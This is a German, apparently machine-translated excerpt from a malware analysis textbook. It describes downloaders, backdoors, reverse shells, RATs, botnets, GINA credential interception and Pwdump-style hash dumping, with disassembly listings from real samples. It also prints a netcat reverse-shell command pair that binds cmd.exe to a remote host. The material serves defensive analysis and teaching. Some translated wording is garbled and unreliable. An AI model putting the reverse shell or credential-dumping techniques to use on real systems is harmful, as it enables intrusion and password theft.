
Die Malware-Analyse ähnelt einem Katz- und Mausspiel: Keine Regeln, die Situation ändert sich ständig. Daher ist es in diesem Fall sinnvoll, nur zeitlose Dinge und Algorithmen zu untersuchen. Sobald Sie vor der Aufgabe stehen, das Netzwerk (oder tausend Netzwerke) zu schützen, fahren Sie mit einer solchen Analyse fort, und Sie können einfach nicht auf dieses Buch verzichten.
Programme zum Herunterladen und Ausführen von Software
Es gibt zwei Arten von häufig auftretender Malware, die zum Herunterladen und Ausführen von Software entwickelt wurde. Downloader (nicht zu verwechseln mit System-Downloadern) laden einfach zusätzlichen Schadcode aus dem Internet herunter und führen ihn auf einem lokalen Computer aus. Sie werden oft zusammen mit dem Exploit verteilt. Sie verwenden normalerweise zwei Windows-API-Aufrufe nacheinander, um zusätzliche Malware herunterzuladen und auszuführen: URLDownloadtoFileA und WinExec.
Launcher (Launcher) ist eine ausführbare Datei, die schädliche Anwendungen für ihre versteckte Ausführung installiert (sofort oder nach einiger Zeit). Starter werden häufig mit der Software geliefert, die sie zum Ausführen benötigen. Wir werden sie in Kapitel 12 diskutieren.
Hintertüren
Hintertüren sind Programme, mit denen ein Angreifer auf den Computer eines Opfers zugreifen kann. Sie sind die am besten erkennbare Art von Malware, und ihre Größe und ihr Funktionsumfang können erheblich variieren. Der Backdoor-Code ist normalerweise in sich geschlossen und erfordert kein Herunterladen zusätzlicher infizierter Dateien.
Backdoors interagieren auf viele verschiedene Arten über das Internet, aber Daten werden normalerweise über HTTP über Port 80 übertragen. HTTP macht den größten Teil des ausgehenden Netzwerkverkehrs aus, was Malware eine großartige Möglichkeit bietet, vor dem Hintergrund anderer Informationen unbemerkt zu bleiben.
In Kapitel 14 erfahren Sie, wie Sie Backdoors auf Paketebene analysieren und effektive Netzwerksignaturen erstellen. In der Zwischenzeit werden wir uns auf die Interaktion auf hoher Ebene konzentrieren.
Backdoors verfügen über eine Reihe von Standardfunktionen: Sie können Registrierungsschlüssel bearbeiten, die angezeigten Fenster zählen, Verzeichnisse erstellen, nach Dateien suchen usw. Um zu verstehen, welche davon von der Backdoor verwendet werden, können Sie überprüfen, welche Windows-API-Funktionen importiert werden. Anhang A enthält eine Liste allgemeiner Funktionen, die beschreiben, was sie über die Malware sagen können.
Reverse Command Shell
Eine Reverse Command Shell ist eine Verbindung, die einen infizierten Computer initiiert und einem Angreifer Befehlszugriff gewährt. Es kann sich entweder um ein separates Schadprogramm oder um eine der Komponenten einer komplexeren Hintertür handeln. In der Reverse-Command-Shell kann ein Angreifer Befehle ausführen, als ob dies alles auf seinem lokalen System geschehen wäre.
Netcat Reverse Command Shell
Das in Kapitel 3 beschriebene Netcat-Programm kann zum Erstellen einer Befehlsshell verwendet werden, wenn Sie es auf zwei Computern ausführen. Angreifer verwenden es häufig selbst und ergänzen es mit anderer Malware.
Um Netcat als solches zu verwenden, muss das Remote-System mit dem folgenden Befehl auf eingehende Verbindungen warten:
nc -l –p 80
Der Schalter -l schaltet Netcat in den Abhörmodus und der Schalter -p bestimmt den zu überwachenden Port. Als nächstes initiiert der Computer des Opfers eine ausgehende Verbindung und stellt seine Befehlsshell bereit:
nc _ip 80 -e cmd.exe
IP 80 Listener ist die IP-Adresse und der Port des Remote-Hosts. Mit der Option -e können Sie das Programm angeben, das ausgeführt wird, wenn die Verbindung hergestellt wird. Die Standardeingabe und -ausgabe wird an den Socket gebunden (wie Sie später sehen werden, verwendet Windows häufig cmd.exe).
Windows Reverse Shell
Angreifer verwenden in Windows zwei einfache cmd.exe-basierte Reverse-Command-Shell-Implementierungen: Basic und Multithreaded.
Die grundlegende Methode ist bei Malware-Autoren beliebt, da sie einfacher zu implementieren ist und im Allgemeinen nicht schlechter funktioniert als ein Multithread-Ansatz. Es basiert auf dem Aufruf von CreateProcess und dem Ändern der STARTUPINFO-Struktur, die an das Programm übergeben wird. Zunächst wird ein Socket erstellt und eine Verbindung zum Remote-Server hergestellt. Dieser Socket wird dann an die Standard-Threads (Eingabe, Ausgabe und Fehlerstrom) des Prozesses cmd.exe angehängt. CreateProcess führt cmd.exe im fensterlosen Modus aus, um es vor dem Opfer zu verbergen. Kapitel 7 gibt ein Beispiel für diese Technik.
Eine Multithread-Version der Windows-Reverse-Befehlsshell impliziert das Erstellen eines Sockets, zweier Pipes und zweier Threads (daher sollten Sie nach CreateThread- und CreatePipe-Aufrufen suchen). Diese Methode wird manchmal von Malware-Autoren als Teil einer Strategie zum Ändern oder Codieren von Daten verwendet, die über einen Socket übertragen werden. Die CreatePipe-Funktion kann verwendet werden, um an die Lese- und Schreibenden des Kanals zu binden, z. B. Standardeingabe (stdin) und Standardeingabe (stdout). Mit der CreateProcess-Funktion können Sie Standard-Threads an einen Kanal und nicht direkt an einen Socket binden. Nach dem Aufruf erstellt die Malware zwei Ausführungsthreads: einen zum Lesen aus dem Standard-Kanal und zum Schreiben in den Socket und einen zum Lesen aus dem Socket und zum Schreiben in den Standard-Kanal. In der Regel handelt es sich bei diesen Threads um Codierungsdaten, die in Kapitel 13 erläutert werden. Mithilfe von Reverse Engineering-Methoden können Sie die Zweige untersuchen, in denen die Streams während einer verschlüsselten Sitzung empfangene Pakete decodieren.
Tools für die Remoteverwaltung
Remote Administration Tools (RATs) werden verwendet, um einen Computer oder Computer über ein Netzwerk zu steuern. Sie sind häufig an eng gezielten Angriffen beteiligt - beispielsweise beim Diebstahl von Informationen oder beim Wechsel von Computer zu Computer.
In Abb. 11.1 zeigt die Netzwerkstruktur der RAT. Der auf dem System des Opfers ausgeführte Server ist mit Schadcode ausgestattet. Der Client arbeitet remote, da das Steuermodul dem Angreifer zur Verfügung steht. Die Server signalisieren dem Client, der sie steuert, die Verbindung herzustellen. Die Zusammenarbeit in RAT erfolgt normalerweise über Standardports wie 80 oder 443.
Botnets
Ein Botnetz ist eine Sammlung infizierter Netzwerkknoten (Zombies), die zentral verwaltet werden und normalerweise über einen Server namens Botnet-Controller verwaltet werden. Ziel des Botnetzes ist es, so viele Computer wie möglich zu infizieren und darauf basierend ein großes Netzwerk zu erstellen, das sowohl zur Verbreitung anderer Malware oder Spam als auch zur Durchführung von DDoS-Angriffen (Distributed Denial-of-Service) verwendet werden kann. ) Wenn alle Zombies gleichzeitig anfangen, eine bestimmte Site anzugreifen, kann dies unzugänglich werden.
Vergleich von RAT und Botnetzen
Es gibt mehrere wichtige Unterschiede zwischen Botnetzen und Remoteverwaltungstools.
- Es ist bekannt, dass Botnetze Millionen von Knoten infizieren und kontrollieren. RATs werden normalerweise von weit weniger Computern ausgeführt.
- Alle Botnet-Teilnehmer werden gleichzeitig verwaltet. Mit RAT können Sie Ressourcen auf verschiedene Opfer verteilen, da ein Angreifer enger mit infizierten Systemen interagieren kann.
- RATs werden bei eng gezielten Angriffen eingesetzt, während Botnets für ihre enorme Anzahl bekannt sind.
Diebstahl von Anmeldeinformationen
Angreifer gehen oft zu allen möglichen Tricks, um Anmeldeinformationen zu stehlen. Dies gilt insbesondere für die drei Arten von Malware.
- Programme, die Benutzeranmeldeinformationen stehlen, sobald er sich beim System anmeldet.
- Programme, die in Windows gespeicherte Informationen (Kennwörter, Hashes usw.) zur direkten Verwendung oder weiteren Entschlüsselung kopieren.
- Programme, die Tastenanschläge aufzeichnen.
In diesem Abschnitt betrachten wir jede dieser Arten von Malware.
GINA Interception
Windows XP verwendet einen Trick zum Stehlen von Anmeldeinformationen, der darin besteht, GINA abzufangen (grafische Identifizierung und Authentifizierung). Das GINA-System wurde entwickelt, um es Drittanbieteranwendungen zu ermöglichen, den Anmeldevorgang für sich selbst anzupassen, und bietet Unterstützung für Technologien wie die Radiofrequenzidentifikation (RFID) auf der Basis von Token oder Smartcards. Malware-Autoren nutzen diese Gelegenheit, um Code herunterzuladen, der Anmeldeinformationen stiehlt.
GINA ist als DLL mit dem Namen msgina.dll implementiert und wird bei der Anmeldung von Winlogon geladen. Winlogon unterstützt auch Plugins von Drittanbietern, die vor der GINA-DLL geladen werden (wie bei einem Zwischenangriff). Zur Vereinfachung bietet Windows den folgenden Registrierungszweig, in dem Winlogon DLLs von Drittanbietern finden und laden kann:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL
Einmal fanden wir dort eine infizierte Datei fsgina.dll, die sich als GINA-Abfangjäger herausstellte.
In Abb. Abbildung 11.2 zeigt ein Beispiel dafür, wie Anmeldeinformationen in eine schädliche Bibliothek gelangen und von Winlogon an msgina.dll übergeben werden. Die Malware (fsgina.dll) kann alle Anmeldeinformationen abfangen, die der Benutzer während der Authentifizierung eingibt. Er kann es auf die Festplatte schreiben oder über das Netzwerk übertragen.
Da die Bibliothek fsgina.dll den Interaktionsfluss zwischen Winlogon und GINA abfängt, muss sie weiter an msgina.dll übergeben werden, damit das System weiterhin normal funktioniert. Dazu muss die Malware alle Funktionen exportieren, die das GINA-System benötigt - es gibt mehr als 15 davon, und die meisten haben das Präfix Wlx. Wenn Sie in der DLL viele Exportfunktionen finden, die mit Wlx beginnen, können Sie natürlich davon ausgehen, dass dies ein GINA-Interceptor ist.
Die meisten dieser Exportaufrufe greifen auf reale Funktionen in msgina.dll zu. Im Fall von fsgina.dll gilt dies für alle Funktionen außer WlxLoggedOutSAS. Listing 11.1 zeigt den Export von WlxLoggedOutSAS nach fsgina.dll.
Listing 11.1. WlxLoggedOutSAS-Exportfunktion in der GINA-DLL, die gestohlene Anmeldeinformationen aufzeichnet
100014A0 WlxLoggedOutSAS 100014A0 push esi 100014A1 push edi 100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS" 100014A7 call Call_msgina_dll_function (1) ... 100014FB push eax ; Args 100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s" 10001501 push offset aDRIVERS ; "drivers\tcpudp.sys" 10001503 call Log_To_File (2)
Anmeldeinformationen werden sofort mithilfe eines als Call_msgina_dll_function (1) bezeichneten Aufrufs in die Datei msgina.dll übertragen. Diese Funktion sucht dynamisch den WlxLoggedOutSAS-Aufruf von msgina.dll, der als Argument angegeben wird, und startet ihn. Ein Anruf in Leitung (2) zeichnet Daten auf. Als Argumente werden Buchhaltungsinformationen, eine Formatzeichenfolge, mit der diese Informationen angezeigt werden, und ein Dateiname für die Aufzeichnung verwendet. Infolgedessen werden Informationen zu einer erfolgreichen Anmeldung in der Datei% SystemRoot% \ system32 \ drivers \ tcpudp.sys gespeichert. Diese Datei enthält den Benutzernamen, die Domain und zwei Passwörter - das aktuelle und das alte.
Hashes speichern
Schädliche Software unter Windows speichert häufig System-Hashes, um Zugriff auf Anmeldeinformationen zu erhalten. Nach dem Speichern versuchen die Angreifer, diese Hashes offline zu entschlüsseln oder verwenden sie, um wie Pass-the-Hash anzugreifen. Während dieses Angriffs werden LM- und NTLM-Hashes für die Remote-NTLM-Authentifizierung verwendet, für die keine Entschlüsselung und kein entsprechendes Kennwort erforderlich ist.
Um die Hashes zu speichern, gibt es kostenlose Softwarepakete für Pwdump und Pass-the-Hash (PSH). Da beide Tools Open Source sind, wurde auf ihrer Basis viel Malware erstellt.
Die meisten Virenschutzprogramme haben Signaturen für die kompilierten Standardversionen dieser Dienstprogramme. Daher versuchen Angreifer häufig, ihre eigenen Variationen zu kompilieren, um eine Erkennung zu vermeiden. Die Beispiele in diesem Kapitel sind die Arten von pwdump und PSH, auf die wir im wirklichen Leben gestoßen sind.
Pwdump ist eine Reihe von Programmen, die Hashes im LM i NTLM-Format ausgeben, die lokalen Benutzern vom Security Account Manager (SAM) gehören. Pwdump fügt die DLL in den LSASS-Prozess (Subsystemdienst der lokalen Sicherheitsbehörde) ein, besser bekannt als lsass.exe. Wir werden die Implementierung von DLLs in Kapitel 12 diskutieren, aber im Moment müssen Sie nur wissen, dass dies eine Technik ist, mit der Malware Bibliotheken in anderen Prozessen unter Verwendung aller ihrer Berechtigungen ausführt. Tools zum Speichern von Hashes greifen häufig den Prozess lsass.exe an, da er über ausreichende Berechtigungen und Zugriff auf viele nützliche API-Funktionen verfügt.
Die Standardversion von Pwdump verwendet die Bibliothek lsaext.dll. Wenn es in lsass.exe eingefügt wird, ruft es die GetHash-Funktion auf, die aus lsaext.dll exportiert wird, um die Hashes abzurufen. In diesem Fall werden undokumentierte Windows-Funktionen verwendet, mit denen Sie die Seriennummern aller Benutzer im System und unverschlüsselte Hashes des Kennworts für jeden von ihnen abrufen können.
Angesichts der Variation von Pwdump müssen Sie seine Bibliotheken analysieren, um zu verstehen, wie Hashes gespeichert werden. Als erstes sollten Sie auf Exportfunktionen achten. Der GetHash-Aufruf wird standardmäßig aus Pwdump exportiert, aber Angreifer können seinen Namen leicht ändern, um ihn weniger erkennbar zu machen. Dann sollten Sie versuchen, die Funktionen zu bestimmen, die in Exportaufrufen verwendet werden. Viele von ihnen können dynamisch lokalisiert werden. Daher verwenden Exportaufrufe die GetProcAddress-Operation häufig wieder.
Listing 11.2 zeigt den GrabHash-Exportfunktionscode aus der DLL einer Version von Pwdump. Da die Bibliothek in lsass.exe eingebettet ist, muss sie vor der Verwendung vieler Zeichen zunächst im manuellen Modus gefunden werden.
Listing 11.2. Einzigartige API-Aufrufe, die von der GrabHash-Exportfunktion in einer der Pwdump-Varianten verwendet werden
1000123F push offset LibFileName ; "samsrv.dll" (1) 10001244 call esi ; LoadLibraryA 10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll" (2) ... 10001251 call esi ; LoadLibraryA ... 1000125B push offset ProcName ; "SamIConnect" 10001260 push ebx ; hModule 10001265 call esi ; GetProcAddress ... 10001281 push offset aSamrqu ; "SamrQueryInformationUser" 10001286 push ebx ; hModule 1000128C call esi ; GetProcAddress ... 100012C2 push offset aSamigetpriv ; "SamIGetPrivateData" 100012C7 push ebx ; hModule 100012CD call esi ; GetProcAddress ... 100012CF push offset aSystemfuncti ; "SystemFunction025" (3) 100012D4 push edi ; hModule 100012DA call esi ; GetProcAddress 100012DC push offset aSystemfuni_0 ; "SystemFunction027" (4) 100012E1 push edi ; hModule 100012E7 call esi ; GetProcAddress
Listing 11.2 zeigt den Code zum Abrufen der Bibliotheksdeskriptoren samsrv.dll (1) und advapi32.dll (2) durch Aufrufen von LoadLibrary. Die Datei samsrv.dll enthält eine API für den einfachen Zugriff auf SAM, und die Datei advapi32.dll wurde gefunden, um auf Funktionen zuzugreifen, die nicht in lsass.exe importiert wurden. Die dynamische Bibliothek dieser Variante Pwdump verwendet die Deskriptoren dieser Bibliotheken, um nach vielen Funktionen zu suchen. Die fünf wichtigsten werden in der Liste angezeigt (beachten Sie die GetProcAddress-Aufrufe und ihre Argumente).
Interessante Aufrufe wie SamIConnect, SamrQueryInformationUser und SamIGetPrivateData werden aus samsrv.dll importiert. Der SamIConnect-Aufruf wird anschließend verwendet, um eine Verbindung zu SAM herzustellen. Anschließend wird die SamrQueryInformationUser-Funktion für jeden Benutzer im System aufgerufen.
Die Hashes werden mit dem Aufruf SamIGetPrivateData abgerufen und anschließend mit den aus advapi32.dll (Zeilen (2) und (3)) importierten Funktionen SystemFunction025 und SystemFunction027 entschlüsselt. Keine der API-Funktionen in dieser Liste ist in der offiziellen Dokumentation beschrieben.
Das PSH-Toolkit enthält Programme, die Hash-Dumps erstellen. Die beliebteste dieser Deponien ist als whosthere-alt bekannt. Es speichert SAM-Inhalte, die durch Einbetten der DLL in lsass.exe erhalten wurden. Gleichzeitig wird im Vergleich zu Pwdump ein völlig anderer Satz von API-Funktionen verwendet. Listing 11.3 zeigt den Versionscode für whosthere-alt, der eine Funktion namens TestDump exportiert.
Listing 11.3. Eindeutige API-Aufrufe, die von der Exportfunktion TestDump der whosthere-alt-Version verwendet werden
10001119 push offset LibFileName ; "secur32.dll" 1000111E call ds:LoadLibraryA 10001130 push offset ProcName ; "LsaEnumerateLogonSessions" 10001135 push esi ; hModule 10001136 call ds:GetProcAddress (1) ... 10001670 call ds:GetSystemDirectoryA 10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll ... 100016A6 push eax ; path to msv1_0.dll 100016A9 call ds:GetModuleHandleA (2)
Da diese Bibliothek in lsass.exe eingebettet ist, erstellt ihre TestDump-Funktion einen Hash-Dump. Es lädt dynamisch die Datei secur32.dll und findet den Aufruf LsaEnumerateLogonSessions (1) darin, um eine Liste lokal eindeutiger Bezeichner (LUIDs) abzurufen. Diese Liste enthält die Namen und Domänen, die bei jeder Anmeldung angegeben wurden. Die Bibliothek durchsucht sie, um Zugriff auf Buchhaltungsinformationen zu erhalten. Zu diesem Zweck sucht sie mithilfe eines Aufrufs von GetModuleHandle (2) in msv1_0.dll nach einer nicht exportierten Funktion, NlpGetPrimaryCredential, die das Speichern von NT- und LM-Hashes ermöglicht.
Über Autoren
Michael Sikorski ist Sicherheitsspezialist bei Mandiant. Er ist im Rahmen einer Vorfalluntersuchung an der Malware-Analyse beteiligt und berät die US-Regierung im Bereich Informationssicherheit. Michael hat eine Reihe von Kursen zur Malware-Analyse entwickelt und unterrichtet sie einem vielfältigen Publikum, darunter dem FBI und Black Hat. Vor Mandiant war er Mitarbeiter des Lincoln Laboratory am Massachusetts Institute of Technology und forschte über passive Netzwerktopologie und Penetrationstests. Darüber hinaus absolvierte Michael ein dreijähriges interdisziplinäres Schulungsprogramm zu Systemen und Netzwerken bei der NSA. Während der Ausbildung nahm er am Studium der Reverse Engineering-Techniken teil und erhielt mehrere Auszeichnungen im Bereich der Netzwerkanalyse.
Andrew Honig ist Experte für Informationssicherheit im US-Verteidigungsministerium. Er unterrichtet Softwareanalyse, Reverse Engineering und Programmierung für das Windows-Betriebssystem (OS) an der National School of Cryptography und ist zertifizierter Sicherheitsspezialist für Informationssysteme. Aufgrund von Andrew mehrere Zero-Day-Exploits für die VMware-Virtualisierung sowie Tools zum Erkennen innovativer Malware, einschließlich infizierter Kernelmodule. Er verfügt über zehn Jahre Erfahrung als Analyst auf dem Gebiet der Computersicherheit und gilt zu Recht als Experte für die Analyse und Interpretation sowohl bösartiger als auch gewöhnlicher Programme.
»Weitere Informationen zum Buch finden Sie auf
der Website des Herausgebers»
Inhalt»
AuszugFür Khabrozhiteley 20% Rabatt auf den Gutschein -
Eine Autopsie wird zeigen